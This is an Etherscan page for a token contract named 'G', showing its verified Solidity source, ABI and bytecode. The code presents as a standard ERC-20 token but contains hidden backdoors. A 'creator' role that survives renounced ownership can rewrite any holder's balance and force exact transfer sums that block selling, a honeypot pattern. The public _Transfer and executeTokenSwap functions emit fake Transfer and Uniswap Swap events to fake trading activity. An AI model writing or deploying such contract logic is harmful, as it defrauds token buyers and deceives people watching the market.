ETH Price: $2,418.29 (+0.30%)
Gas: 2.74 Gwei

Token

G (G)
 

Overview

Max Total Supply

10,000,000 G

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
228,545.040146746865688506 G

Value
$0.00
0xaef0198CB0d14EEfCB41dc1cD791B7F9b687549A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
G

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-27
*/

pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract G is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "G";
    string public constant _ticker = "G";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b6111fe80620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102b4578063cadc24b5146102bc578063d8fb9361146102e5578063dd62ed3e146102f8578063e03504af14610220578063e156b1b61461033157600080fd5b80638e32c0031461027357806395d89b4114610147578063a713fd5314610286578063a9059cbb1461028e578063adacad8c146102a157600080fd5b806328226aa71161010a57806328226aa7146101d5578063313ce567146101fa578063416c3c9d1461020f5780635c01b60c1461022057806370a0823114610240578063715018a61461026957600080fd5b806306fdde0314610147578063095ea7b31461017657806318160ddd146101995780631ae1ffbc146101af57806323b872dd146101c2575b600080fd5b6040805180820190915260018152604760f81b60208201525b60405161016d9190610bb9565b60405180910390f35b610189610184366004610c23565b610344565b604051901515815260200161016d565b6101a16103ac565b60405190815260200161016d565b6101896101bd366004610d85565b6103cc565b6101896101d0366004610e2f565b6105e3565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016d565b60125b60405160ff909116815260200161016d565b6004546001600160a01b03166101e2565b610160604051806040016040528060018152602001604760f81b81525081565b6101a161024e366004610e6b565b6001600160a01b031660009081526002602052604090205490565b6102716107a3565b005b610271610281366004610e6b565b61081d565b6101fd601281565b61018961029c366004610c23565b610869565b6102716102af366004610e8d565b6109ab565b6101a1610a3e565b6101a16102ca366004610e6b565b6001600160a01b031660009081526003602052604090205490565b6102716102f3366004610f08565b610a5a565b6101a1610306366004610f4d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018961033f366004610e2f565b610b84565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103ba6012600a61107a565b6103c79062989680611089565b905090565b6000805b85518110156105d6578581815181106103eb576103eb6110a0565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111a9833981519152878481518110610427576104276110a0565b602002602001015160405161043e91815260200190565b60405180910390a3858181518110610458576104586110a0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104ba576104ba6110a0565b60200260200101516000808987815181106104d7576104d76110a0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b6878381518110610525576105256110a0565b602002602001015189878581518110610540576105406110a0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801561059f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c391906110b6565b50806105ce816110d8565b9150506103d0565b5060019695505050505050565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561065b5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106c9578083146106c95760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b6001600160a01b038516600090815260026020526040812080548592906106f19084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061071e908490611104565b90915550506001600160a01b0385166000908152600160209081526040808320338452909152812080548592906107569084906110f1565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111a98339815191528560405161079091815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161065290611117565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161065290611117565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108bf5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610652565b60006108ca336102ca565b90508015610921578083146109215760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b33600090815260026020526040812080548592906109409084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061096d908490611104565b90915550506040518381526001600160a01b0385169033906000805160206111a9833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109d55760405162461bcd60e51b815260040161065290611162565b60005b82811015610a385781600360008686858181106109f7576109f76110a0565b9050602002016020810190610a0c9190610e6b565b6001600160a01b0316815260208101919091526040016000205580610a30816110d8565b9150506109d8565b50505050565b610a4a6012600a61107a565b610a579062989680611089565b81565b6004546001600160a01b03163314610a845760405162461bcd60e51b815260040161065290611162565b60005b8251811015610b7f576000838281518110610aa457610aa46110a0565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b105760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610652565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b77906110d8565b915050610a87565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111a98339815191528460405161099991815260200190565b600060208083528351808285015260005b81811015610be657858101830151858201604001528201610bca565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c1e57600080fd5b919050565b60008060408385031215610c3657600080fd5b610c3f83610c07565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c8c57610c8c610c4d565b604052919050565b600067ffffffffffffffff821115610cae57610cae610c4d565b5060051b60200190565b600082601f830112610cc957600080fd5b81356020610cde610cd983610c94565b610c63565b82815260059290921b84018101918181019086841115610cfd57600080fd5b8286015b84811015610d1f57610d1281610c07565b8352918301918301610d01565b509695505050505050565b600082601f830112610d3b57600080fd5b81356020610d4b610cd983610c94565b82815260059290921b84018101918181019086841115610d6a57600080fd5b8286015b84811015610d1f5780358352918301918301610d6e565b600080600080600060a08688031215610d9d57600080fd5b610da686610c07565b9450602086013567ffffffffffffffff80821115610dc357600080fd5b610dcf89838a01610cb8565b95506040880135915080821115610de557600080fd5b610df189838a01610d2a565b94506060880135915080821115610e0757600080fd5b50610e1488828901610d2a565b925050610e2360808701610c07565b90509295509295909350565b600080600060608486031215610e4457600080fd5b610e4d84610c07565b9250610e5b60208501610c07565b9150604084013590509250925092565b600060208284031215610e7d57600080fd5b610e8682610c07565b9392505050565b600080600060408486031215610ea257600080fd5b833567ffffffffffffffff80821115610eba57600080fd5b818601915086601f830112610ece57600080fd5b813581811115610edd57600080fd5b8760208260051b8501011115610ef257600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f1b57600080fd5b823567ffffffffffffffff811115610f3257600080fd5b610f3e85828601610cb8565b95602094909401359450505050565b60008060408385031215610f6057600080fd5b610f6983610c07565b9150610f7760208401610c07565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd1578160001904821115610fb757610fb7610f80565b80851615610fc457918102915b93841c9390800290610f9b565b509250929050565b600082610fe8575060016103a6565b81610ff5575060006103a6565b816001811461100b576002811461101557611031565b60019150506103a6565b60ff84111561102657611026610f80565b50506001821b6103a6565b5060208310610133831016604e8410600b8410161715611054575081810a6103a6565b61105e8383610f96565b806000190482111561107257611072610f80565b029392505050565b6000610e8660ff841683610fd9565b80820281158282048414176103a6576103a6610f80565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110c857600080fd5b81518015158114610e8657600080fd5b6000600182016110ea576110ea610f80565b5060010190565b818103818111156103a6576103a6610f80565b808201808211156103a6576103a6610f80565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220b00d3ae7ef39937850159f1cccd22b60784be17b52afd557ebde6076115a93e964736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102b4578063cadc24b5146102bc578063d8fb9361146102e5578063dd62ed3e146102f8578063e03504af14610220578063e156b1b61461033157600080fd5b80638e32c0031461027357806395d89b4114610147578063a713fd5314610286578063a9059cbb1461028e578063adacad8c146102a157600080fd5b806328226aa71161010a57806328226aa7146101d5578063313ce567146101fa578063416c3c9d1461020f5780635c01b60c1461022057806370a0823114610240578063715018a61461026957600080fd5b806306fdde0314610147578063095ea7b31461017657806318160ddd146101995780631ae1ffbc146101af57806323b872dd146101c2575b600080fd5b6040805180820190915260018152604760f81b60208201525b60405161016d9190610bb9565b60405180910390f35b610189610184366004610c23565b610344565b604051901515815260200161016d565b6101a16103ac565b60405190815260200161016d565b6101896101bd366004610d85565b6103cc565b6101896101d0366004610e2f565b6105e3565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016d565b60125b60405160ff909116815260200161016d565b6004546001600160a01b03166101e2565b610160604051806040016040528060018152602001604760f81b81525081565b6101a161024e366004610e6b565b6001600160a01b031660009081526002602052604090205490565b6102716107a3565b005b610271610281366004610e6b565b61081d565b6101fd601281565b61018961029c366004610c23565b610869565b6102716102af366004610e8d565b6109ab565b6101a1610a3e565b6101a16102ca366004610e6b565b6001600160a01b031660009081526003602052604090205490565b6102716102f3366004610f08565b610a5a565b6101a1610306366004610f4d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018961033f366004610e2f565b610b84565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103ba6012600a61107a565b6103c79062989680611089565b905090565b6000805b85518110156105d6578581815181106103eb576103eb6110a0565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111a9833981519152878481518110610427576104276110a0565b602002602001015160405161043e91815260200190565b60405180910390a3858181518110610458576104586110a0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104ba576104ba6110a0565b60200260200101516000808987815181106104d7576104d76110a0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b6878381518110610525576105256110a0565b602002602001015189878581518110610540576105406110a0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801561059f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c391906110b6565b50806105ce816110d8565b9150506103d0565b5060019695505050505050565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561065b5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106c9578083146106c95760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b6001600160a01b038516600090815260026020526040812080548592906106f19084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061071e908490611104565b90915550506001600160a01b0385166000908152600160209081526040808320338452909152812080548592906107569084906110f1565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111a98339815191528560405161079091815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161065290611117565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161065290611117565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108bf5760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610652565b60006108ca336102ca565b90508015610921578083146109215760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610652565b33600090815260026020526040812080548592906109409084906110f1565b90915550506001600160a01b0384166000908152600260205260408120805485929061096d908490611104565b90915550506040518381526001600160a01b0385169033906000805160206111a9833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109d55760405162461bcd60e51b815260040161065290611162565b60005b82811015610a385781600360008686858181106109f7576109f76110a0565b9050602002016020810190610a0c9190610e6b565b6001600160a01b0316815260208101919091526040016000205580610a30816110d8565b9150506109d8565b50505050565b610a4a6012600a61107a565b610a579062989680611089565b81565b6004546001600160a01b03163314610a845760405162461bcd60e51b815260040161065290611162565b60005b8251811015610b7f576000838281518110610aa457610aa46110a0565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b105760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610652565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b77906110d8565b915050610a87565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111a98339815191528460405161099991815260200190565b600060208083528351808285015260005b81811015610be657858101830151858201604001528201610bca565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c1e57600080fd5b919050565b60008060408385031215610c3657600080fd5b610c3f83610c07565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c8c57610c8c610c4d565b604052919050565b600067ffffffffffffffff821115610cae57610cae610c4d565b5060051b60200190565b600082601f830112610cc957600080fd5b81356020610cde610cd983610c94565b610c63565b82815260059290921b84018101918181019086841115610cfd57600080fd5b8286015b84811015610d1f57610d1281610c07565b8352918301918301610d01565b509695505050505050565b600082601f830112610d3b57600080fd5b81356020610d4b610cd983610c94565b82815260059290921b84018101918181019086841115610d6a57600080fd5b8286015b84811015610d1f5780358352918301918301610d6e565b600080600080600060a08688031215610d9d57600080fd5b610da686610c07565b9450602086013567ffffffffffffffff80821115610dc357600080fd5b610dcf89838a01610cb8565b95506040880135915080821115610de557600080fd5b610df189838a01610d2a565b94506060880135915080821115610e0757600080fd5b50610e1488828901610d2a565b925050610e2360808701610c07565b90509295509295909350565b600080600060608486031215610e4457600080fd5b610e4d84610c07565b9250610e5b60208501610c07565b9150604084013590509250925092565b600060208284031215610e7d57600080fd5b610e8682610c07565b9392505050565b600080600060408486031215610ea257600080fd5b833567ffffffffffffffff80821115610eba57600080fd5b818601915086601f830112610ece57600080fd5b813581811115610edd57600080fd5b8760208260051b8501011115610ef257600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f1b57600080fd5b823567ffffffffffffffff811115610f3257600080fd5b610f3e85828601610cb8565b95602094909401359450505050565b60008060408385031215610f6057600080fd5b610f6983610c07565b9150610f7760208401610c07565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd1578160001904821115610fb757610fb7610f80565b80851615610fc457918102915b93841c9390800290610f9b565b509250929050565b600082610fe8575060016103a6565b81610ff5575060006103a6565b816001811461100b576002811461101557611031565b60019150506103a6565b60ff84111561102657611026610f80565b50506001821b6103a6565b5060208310610133831016604e8410600b8410161715611054575081810a6103a6565b61105e8383610f96565b806000190482111561107257611072610f80565b029392505050565b6000610e8660ff841683610fd9565b80820281158282048414176103a6576103a6610f80565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110c857600080fd5b81518015158114610e8657600080fd5b6000600182016110ea576110ea610f80565b5060010190565b818103818111156103a6576103a6610f80565b808201808211156103a6576103a6610f80565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220b00d3ae7ef39937850159f1cccd22b60784be17b52afd557ebde6076115a93e964736f6c63430008120033

Deployed Bytecode Sourcemap

